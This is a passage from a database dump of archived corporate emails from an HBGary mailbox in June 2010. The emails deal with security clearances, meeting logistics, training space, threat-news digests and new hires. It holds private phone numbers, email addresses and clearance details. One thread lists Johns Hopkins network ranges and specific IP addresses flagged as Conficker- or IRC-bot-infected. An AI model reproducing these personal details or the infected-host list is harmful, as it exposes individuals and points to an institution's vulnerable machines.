send\r\nmy\r\n> clearances to the POC identified in the attachment?\r\n>\r\n> Thank you,\r\n> Aaron\r\n>\r\n> Begin forwarded message:\r\n>\r\n',13068,'aaron_hbgary_com/13068.html'),(7126,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005173.M793009P14101Q1981.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Re: REBL Symposium 14-18 June 2010 / Registration','Thank you.\r\n\r\nSent from my iPad\r\n\r\nOn Jun 7, 2010, at 1:25 PM, \"Choate, William R (TASC)\"\r\n wrote:\r\n\r\n>\r\n> 	I sent your TS/SCI clearances to JHU.\r\n> Bill\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 07, 2010 1:18 PM\r\n> To: Choate, William R (TASC)\r\n> Subject: Re: REBL Symposium 14-18 June 2010 / Registration\r\n>\r\n> Hi Bill,\r\n>\r\n> Yes it\'s an NSA conference at jhu.  It was due on the 4th but they\r\n> said it was still ok to get in.\r\n> Yes only secret level.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 7, 2010, at 12:01 PM, \"Choate, William R (TASC)\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> 	Believe your certs need to be sent to JHU, not NSA.  Also, was\r\n>> due 4 June.  Am I reading the attachment correctly, and understand the\r\n>> clearance requirement is only SECRET level?\r\n>>\r\n>> Bill\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 07, 2010 10:54 AM\r\n>> To: Choate, William R (TASC)\r\n>> Subject: Fwd: REBL Symposium 14-18 June 2010 / Registration\r\n>>\r\n>> Bill,\r\n>>\r\n>> I am speaking at the NSA REBL conference next tuesday.  Can you send\r\n> my\r\n>> clearances to the POC identified in the attachment?\r\n>>\r\n>> Thank you,\r\n>> Aaron\r\n>>\r\n>> Begin forwarded message:\r\n>>\r\n',5959,'aaron_hbgary_com/5959.html'),(7127,'2010-06-07','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005174.M22315P14101Q1982.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Joseph Ghannam and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 7, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (2)\r\n       \r\n         \r\n           Military Counterintelligence Collections Course Instructor (MCC) - Elkridge, MD\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n       \r\n         \r\n           Counterintelligence (CI) Instructor, JCITA &#x2013; Elkridge, MD &#x2013; TS/SCI\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 65 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',2083,'aaron_hbgary_com/2083.html'),(7128,'2010-06-07','\"Harris, Irene G (TASC)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297005174.M246027P14101Q1983.eml','\"Aaron Barr\" <aaron@hbgary.com>','COIN Technology','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI wasn&#8217;t sure if you were participating in this\r\nmeeting tomorrow.&nbsp; Please let me know if you need help to pass your clearance.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Turner, Susan A (TASC) On Behalf Of Heider, Raymond A\r\n(TASC)\r\nSent: Friday, June 04, 2010 3:14 PM\r\nTo: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Lovegrove, John\r\n(TASC); Rademacher, Michael B (TASC); \'aaron@hbgary.com\'; Aaron Barr\r\n[aaron@hbgary.com]\r\nSubject: COIN Technology\r\nWhen: Tuesday, June 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2836,'aaron_hbgary_com/2836.html'),(7129,'2010-06-07','\"Harris, Irene G (TASC)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297005174.M458429P14101Q1984.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','RE: COIN Technology','\r\n\r\n\r\n\r\n\r\nRE: COIN Technology\r\n\r\n\r\n\r\n\r\nUpdate on location: SCIF Conf. Room 3D (3211), instead of 3E (Westfields 3).\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Turner, Susan A (TASC) On Behalf Of Heider, Raymond A (TASC)\r\nSent: Friday, June 04, 2010 3:14 PM\r\nTo: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC); Rademacher, Michael B (TASC); \'aaron@hbgary.com\'; Aaron Barr [aaron@hbgary.com]\r\nSubject: COIN Technology\r\nWhen: Tuesday, June 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5610,'aaron_hbgary_com/5610.html'),(7130,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005174.M661015P14101Q1985.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Training','Looks like we\'ll need to rent training space from Techwise or another\r\nsource because TASC security brought up too many concerns for our POC\r\nto work through...\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Winterfeld, Steven P (TASC) \r\nDate: Mon, Jun 7, 2010 at 1:24 PM\r\nSubject: RE: Training\r\nTo: Ted Vera \r\n\r\n\r\nTed\r\n\r\nI doubt we can support this request - Lightfoot has raised to many legal\r\nissues that I would have to work through legal/security/contracts.\r\n\r\nSteve\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, May 19, 2010 8:10 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Training\r\n\r\nHi Steve,\r\n\r\nWe will begin offering our Basic Malware Analysis course here in\r\nColorado Springs starting this August.  We are looking for a facility\r\nto conduct the training.  The facility must accomodate up to 20\r\nstudents, and ideally be outfitted with one PC per student, on a\r\nstand-alone LAN.  You can learn more about our training offerings\r\nhere: https://www.hbgary.com/training/\r\n\r\nDoes TASC have a facility that could be used for this training?  Would\r\nyou be interested in bundling our training with your CyberWarrior\r\nclasses?\r\n\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12881,'aaron_hbgary_com/12881.html'),(7131,'2010-06-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005174.M875380P14101Q1986.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Training','Deeann knows the requirements for our training rooms.  She can see what she\r\ncan find in Colorado springs.  She just needs a timeframe for the class\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, June 07, 2010 12:53 PM\r\nTo: Barr Aaron; Penny Leavy\r\nSubject: Fwd: Training\r\n\r\nLooks like we\'ll need to rent training space from Techwise or another\r\nsource because TASC security brought up too many concerns for our POC\r\nto work through...\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Winterfeld, Steven P (TASC) \r\nDate: Mon, Jun 7, 2010 at 1:24 PM\r\nSubject: RE: Training\r\nTo: Ted Vera \r\n\r\n\r\nTed\r\n\r\nI doubt we can support this request - Lightfoot has raised to many legal\r\nissues that I would have to work through legal/security/contracts.\r\n\r\nSteve\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, May 19, 2010 8:10 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Training\r\n\r\nHi Steve,\r\n\r\nWe will begin offering our Basic Malware Analysis course here in\r\nColorado Springs starting this August.  We are looking for a facility\r\nto conduct the training.  The facility must accomodate up to 20\r\nstudents, and ideally be outfitted with one PC per student, on a\r\nstand-alone LAN.  You can learn more about our training offerings\r\nhere: https://www.hbgary.com/training/\r\n\r\nDoes TASC have a facility that could be used for this training?  Would\r\nyou be interested in bundling our training with your CyberWarrior\r\nclasses?\r\n\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',12173,'aaron_hbgary_com/12173.html'),(7132,'2010-06-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005180.M167670P14101Q1987.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Sunday, June 06, 2010 4:25 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nToday\'s articles:\r\n\r\n*       FBI warns of financial e-mail scam\r\n\r\n*       FTC slaps down commercial keylogger firm\r\n\r\n*       Samsung smartphone shipped with malware-infected memory card\r\n\r\n*       Microsoft states that Windows is secure, as industry claims that\r\nsecurity problems lie across all operating systems\r\n\r\n*       Don\'t click on \'Paramore n-a-k-ed photo leaked!\' Facebook link\r\n\r\n*       Minor bugs bite patch security checking tool\r\n\r\n*       Attempts to infect computers increases\r\n\r\n*       N. Korea in warship sinking cyber campaign: Seoul official\r\n\r\n*       Kobil smartcard reader hacked \r\n\r\n*       OpenOffice 3.2.1 fixes bugs, updates logo \r\n\r\n*       Microsoft plans to patch 34 holes \r\n\r\n*       iPhone leak is getting bigger - Update\r\n\r\n',9574,'aaron_hbgary_com/9574.html'),(7133,'2010-06-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005184.M373544P14101Q1989.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,,','RE: Demo with Johns Hopkins Univ Applied Physics Lab','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;OK so this is for ALL of Johns Hopkins?&nbsp; Or the Applied Physics\r\nLab?&nbsp; Because it will make a difference if MIR is not doing the whole lab.&nbsp;\r\nBob, do you have the IP ranges for the lab?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Sunday, June 06, 2010 12:20 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Hoglund Greg; Barr Aaron; Rich Cummings;\r\nWallisch Phil; Spohn Mike; Mark Trynor\r\nSubject: Re: Demo with Johns Hopkins Univ Applied Physics Lab\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI just kicked off the search, for the following net blocks\r\nowned by Johns Hopkins U:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;192.12.13.0;192.12.13.255192.12.14.0;192.12.14.255128.220.0.0;128.220.255.255128.244.0.0;128.244.255.255204.9.128.0;204.9.135.25565.204.153.144;65.204.153.151&nbsp;I already have some good, recent results (see below). The search will take hours, I\'ll send you the final results when it completes. &nbsp;&nbsp;IP : 192.12.13.2Confidence : 71.453984%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker C : Wed May&nbsp; 6 19:19:32 2009 GMT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker A/B : Thu May 13 01:05:36 2010 GMT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Spam : Thu Jun 11 18:59:00 2009 GMT&nbsp;IP : 192.12.13.32Confidence : 71.462935%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker C : Fri Apr 16 14:47:12 2010 GMT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker A/B : Thu May 13 02:10:33 2010 GMT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Spam : Sun May 24 11:59:00 2009 GMT&nbsp;IP : 192.12.13.129Confidence : 73.708112%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker A/B : Tue May 25 04:11:12 2010 GMT&nbsp;IP : 128.220.0.15Confidence : 10%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Spam : Wed Feb 25 16:59:00 2009 GMT&nbsp;IP : 128.220.3.108Confidence : 73.214159%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRC Bot : Sat May 22 03:41:11 2010 GMT&nbsp;IP : 128.220.5.62Confidence : 10%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker A/B : Fri Jul 24 17:22:12 2009 GMT&nbsp;IP : 128.220.5.110Confidence : 52.015178%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker A/B : Fri Mar 12 18:49:01 2010 GMT&nbsp;IP : 128.220.6.85Confidence : 26.049824%Events : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conficker A/B : Thu Jan 28 12:30:52 2010 GMT&nbsp;\r\n\r\nOn Jun 5, 2010, at 7:09 PM, Bob\r\nSlapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nI\r\nhave a demo coming up this week.&nbsp; Can you get me a list of machines for\r\nthem?\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6993,'aaron_hbgary_com/6993.html'),(7134,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005184.M603364P14101Q1990.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,,,,','Re: Demo with Johns Hopkins Univ Applied Physics Lab','We ran both, one for all of JHU, and one just for the APL.  I\'ll send\r\nboth reports out shortly.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Mon, Jun 7, 2010 at 2:25 PM, Penny Leavy-Hoglund  wrote:\r\n>  OK so this is for ALL of Johns Hopkins?  Or the Applied Physics Lab?\r\n> Because it will make a difference if MIR is not doing the whole lab.  Bob,\r\n> do you have the IP ranges for the lab?\r\n>\r\n>\r\n>\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Sunday, June 06, 2010 12:20 PM\r\n>\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy-Hoglund; Hoglund Greg; Barr Aaron; Rich Cummings; Wallisch\r\n> Phil; Spohn Mike; Mark Trynor\r\n> Subject: Re: Demo with Johns Hopkins Univ Applied Physics Lab\r\n>\r\n>\r\n>\r\n> Bob,\r\n>\r\n>\r\n>\r\n> I just kicked off the search, for the following net blocks owned by Johns\r\n> Hopkins U:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> 192.12.13.0;192.12.13.255\r\n>\r\n> 192.12.14.0;192.12.14.255\r\n>\r\n> 128.220.0.0;128.220.255.255\r\n>\r\n> 128.244.0.0;128.244.255.255\r\n>\r\n> 204.9.128.0;204.9.135.255\r\n>\r\n> 65.204.153.144;65.204.153.151\r\n>\r\n>\r\n>\r\n> I already have some good, recent results (see below). The search will take\r\n> hours, I\'ll send you the final results when it completes.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> IP : 192.12.13.2\r\n>\r\n> Confidence : 71.453984%\r\n>\r\n> Events :\r\n>\r\n>         Conficker C : Wed May  6 19:19:32 2009 GMT\r\n>\r\n>         Conficker A/B : Thu May 13 01:05:36 2010 GMT\r\n>\r\n>         Spam : Thu Jun 11 18:59:00 2009 GMT\r\n>\r\n>\r\n>\r\n> IP : 192.12.13.32\r\n>\r\n> Confidence : 71.462935%\r\n>\r\n> Events :\r\n>\r\n>         Conficker C : Fri Apr 16 14:47:12 2010 GMT\r\n>\r\n>         Conficker A/B : Thu May 13 02:10:33 2010 GMT\r\n>\r\n>         Spam : Sun May 24 11:59:00 2009 GMT\r\n>\r\n>\r\n>\r\n> IP : 192.12.13.129\r\n>\r\n> Confidence : 73.708112%\r\n>\r\n> Events :\r\n>\r\n>         Conficker A/B : Tue May 25 04:11:12 2010 GMT\r\n>\r\n>\r\n>\r\n> IP : 128.220.0.15\r\n>\r\n> Confidence : 10%\r\n>\r\n> Events :\r\n>\r\n>         Spam : Wed Feb 25 16:59:00 2009 GMT\r\n>\r\n>\r\n>\r\n> IP : 128.220.3.108\r\n>\r\n> Confidence : 73.214159%\r\n>\r\n> Events :\r\n>\r\n>         IRC Bot : Sat May 22 03:41:11 2010 GMT\r\n>\r\n>\r\n>\r\n> IP : 128.220.5.62\r\n>\r\n> Confidence : 10%\r\n>\r\n> Events :\r\n>\r\n>         Conficker A/B : Fri Jul 24 17:22:12 2009 GMT\r\n>\r\n>\r\n>\r\n> IP : 128.220.5.110\r\n>\r\n> Confidence : 52.015178%\r\n>\r\n> Events :\r\n>\r\n>         Conficker A/B : Fri Mar 12 18:49:01 2010 GMT\r\n>\r\n>\r\n>\r\n> IP : 128.220.6.85\r\n>\r\n> Confidence : 26.049824%\r\n>\r\n> Events :\r\n>\r\n>         Conficker A/B : Thu Jan 28 12:30:52 2010 GMT\r\n>\r\n>\r\n>\r\n> On Jun 5, 2010, at 7:09 PM, Bob Slapnik  wrote:\r\n>\r\n> Ted,\r\n>\r\n>\r\n>\r\n> I have a demo coming up this week.  Can you get me a list of machines for\r\n> them?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',196,'aaron_hbgary_com/196.html'),(7135,'2010-06-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005184.M90569P14101Q1988.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: NMCIWG: Weekly Espionage Newsletter','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Sunday, June 06, 2010 4:19 PM\r\nSubject: FW: NMCIWG: Weekly Espionage Newsletter\r\n\r\n \r\n\r\nSubject: NMCIWG: Weekly Espionage Newsletter\r\n\r\nToday\'s articles:\r\n\r\n*       Companies Fight Endless War Against Computer Attacks \r\n\r\n*       Former Boeing Engineer Gets 15 Years in China Spy Case\r\n\r\n*       Britain Warned Businesses of Threat of Chinese Spying \r\n\r\n*       SIM Card Spy Elite\r\n\r\n',3063,'aaron_hbgary_com/3063.html'),(7136,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005189.M2705P14101Q1991.eml','\"Barr Aaron\" <aaron@hbgary.com>','Mike','Did you set anything up for today at 3 with Mike S?\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2208,'aaron_hbgary_com/2208.html'),(7137,'2010-06-07','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005189.M273636P14101Q1992.eml','first-2010announce@first.org','FIRST 2010 is Next Week! New Podcast Available!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nColleague,\r\n\r\nFIRST 2010 is Next Week! Are You Ready? \r\nIf you haven&#8217;t already, please register for the 22nd Annual\r\nFIRST Conference at http://conference.first.org\r\nto ensure a speedy check-in process. On-site registration is available for US\r\n$2400; single day US $800. No cash will be accepted. \r\n\r\nNew Podcast! Volume 2, Episode 4: Interview with Jason Larsen of Idaho\r\nNational Laboratory\r\nJason Larsen is a cyber security researcher at the Idaho National Laboratory.\r\nHe specializes in the technical details of testing and exploiting industrial\r\ncontrol systems. He has a wide range of publications on control systems\r\nincluding SCADA, AMI, Wireless Sensor Networks, and good old-fashioned software\r\nexploitation. He is a sought after speaker in both the United States and\r\nInternationally. Jason will be presenting Wednesday, June 16 @10:00AM. Access\r\nhis interview at http://conference.first.org/podcasts.aspx.\r\n\r\n\r\nQuick FAQ\r\n\r\nQ. Will we have free internet access? \r\nA. Yes, free Wifi will be available to conference attendees on the main meeting\r\nroom floor (2nd level). Special thanks to Telefonica USA and\r\nCisco Systems for providing us with internet connectivity.\r\n\r\nQ. Is there a dress code?\r\nA. It&#8217;s Miami and it&#8217;s June &#8211; there is no dress code per se,\r\nbut we&#8217;d definitely recommend that you wear some clothes J! \r\n\r\nQ. Do we have to pick a track in advance?\r\nA. No, attendees are free to select their tracks as well as attend sessions in\r\nvarious tracks. \r\n\r\nQ. Will we have access to presentations?\r\nA. Yes, attendees will have access to a majority of presentation material. An\r\nemail will go out to registered attendees towards the end of this week with\r\ndirections on how to access presentations online. Please note that some keynote\r\n&amp; general session slides will not be available for download.\r\n\r\nIf you have additional questions, please don&#8217;t hesitate to ask us at first-2010@first.org. \r\n\r\nTwitter\r\nFollow live conference updates at http://www.twitter.com/firstdotorg!\r\n\r\nOn LinkedIn? \r\nDon&#8217;t forget to add the conference to the events that you are attending! \r\nhttp://events.linkedin.com/22nd-Annual-FIRST-Conference/pub/75123\r\n\r\nJoin the FIRST LinkedIn Group at http://www.linkedin.com/groups?gid=2585&amp;trk=myg_ugrp_ovr.\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\nTraci\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14527,'aaron_hbgary_com/14527.html'),(7138,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005189.M559099P14101Q1993.eml','\"Barr Aaron\" <aaron@hbgary.com>','Re: New Hires','Mike\'s contact info is below:\r\n\r\nOn Fri, May 28, 2010 at 12:52 PM, Penny Leavy-Hoglund  wrote:\r\n> For those of you who weren’t at CEIC, we have a new Director of Security\r\n> Services, Mike Spohn.  Mike joined us from Foundstone, where he led their\r\n> incident response services.  Mike has done over 100 investigations over the\r\n> last two years and has a lot of knowledge in this area.  Mike was INVALUABLE\r\n> at the show, helping us secure new services and positioning product with\r\n> clients.   Mike can be reached at ext 123 (once he receives and sets up his\r\n> phone ) or at 949-370-7769.  Email is mike@hbgary.com\r\n>\r\n>\r\n>\r\n> We will also have a new sales rep joining our company Rocco Fasciani on June\r\n> 7th.  Rocco is out of New Jersey and has worked with Joe Pizzo and Rich\r\n> Cummings previously at Guidance.  Rocco is a senior sales professional who\r\n> has been at lots of security companies such as RSA.  He will focus on the\r\n> NorthEast and Ohio regions this year.  This will help to off load Bob and\r\n> Maria and allow us to bring in more revenue.\r\n>\r\n>\r\n>\r\n> We will continue to hire people in sales, security services and\r\n> development.  Both these individuals raise the bar and bring experience in\r\n> new areas.\r\n>\r\n>\r\n>\r\n> Welcome aboard.\r\n>\r\n>\r\n>\r\n> Penny\r\n>\r\n>\r\n>\r\n> Penny C. Leavy\r\n>\r\n> President\r\n>\r\n> HBGary, Inc\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> NOTICE – Any tax information or written tax advice contained herein\r\n> (including attachments) is not intended to be and cannot be used by any\r\n> taxpayer for the purpose of avoiding tax penalties that may be imposed\r\n> on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\n> Treasury regulations governing tax practice.)\r\n>\r\n>\r\n>\r\n> This message and any attached files may contain information that is\r\n> confidential and/or subject of legal privilege intended only for use by the\r\n> intended recipient. If you are not the intended recipient or the person\r\n> responsible for   delivering the message to the intended recipient, be\r\n> advised that you have received this message in error and that any\r\n> dissemination, copying or use of this message or attachment is strictly\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7391,'aaron_hbgary_com/7391.html'),(7139,'2010-06-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005189.M785837P14101Q1994.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Resume','LOL...  No I don\'t really have experience with \"forensic\" investigations...\r\n\r\nOn Mon, Jun 7, 2010 at 5:12 PM, Maria Lucas  wrote:\r\n> Thanks Ted!\r\n>\r\n> Do you have experience with \"forensic\" investigations?  Mike do you think\r\n> this resume ties into the qualifications they are looking for?\r\n>\r\n> Maria\r\n>\r\n> On Mon, Jun 7, 2010 at 4:01 PM, Ted Vera  wrote:\r\n>>\r\n>> Attached.  Mark will send his in a few minutes.\r\n>>\r\n>> Ted\r\n>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n>\r\n> Website:  www.hbgary.com |email: maria@hbgary.com\r\n>\r\n> http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10298,'aaron_hbgary_com/10298.html'),(7140,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005190.M388701P14101Q1996.eml','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>,\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>,,','Re: DuPont','great. &nbsp;Can we set something up for Friday afternoon then?AaronOn Jun 7, 2010, at 9:24 AM, Harvey, Kevin wrote:\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nHello Aaron,&nbsp;I’m available to get started as soon\r\nas this Thursday afternoon or Friday. &nbsp;As David suggests, we could start\r\nout with a quick demo and let things develop from there.&nbsp; The training\r\ncould be customized based on your requirements.&nbsp; Let me know what time\r\nworks best and I can setup a gotomeeting and conference number.&nbsp;Kevin Harvey214.213.4389&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Friday, June 04, 2010 10:46\r\nAM\r\nTo: Harvey,\r\n Kevin\r\nCc: Aaron Barr\r\nSubject: RE: DuPont\r\n\r\n&nbsp;Kevin,&nbsp;I’d suggest we\r\nget a quick demo scheduled, even if the training might take a few days to get\r\nstarted.&nbsp; If you show some of the use cases in the demo, with how the\r\npolicy components work, it might get them 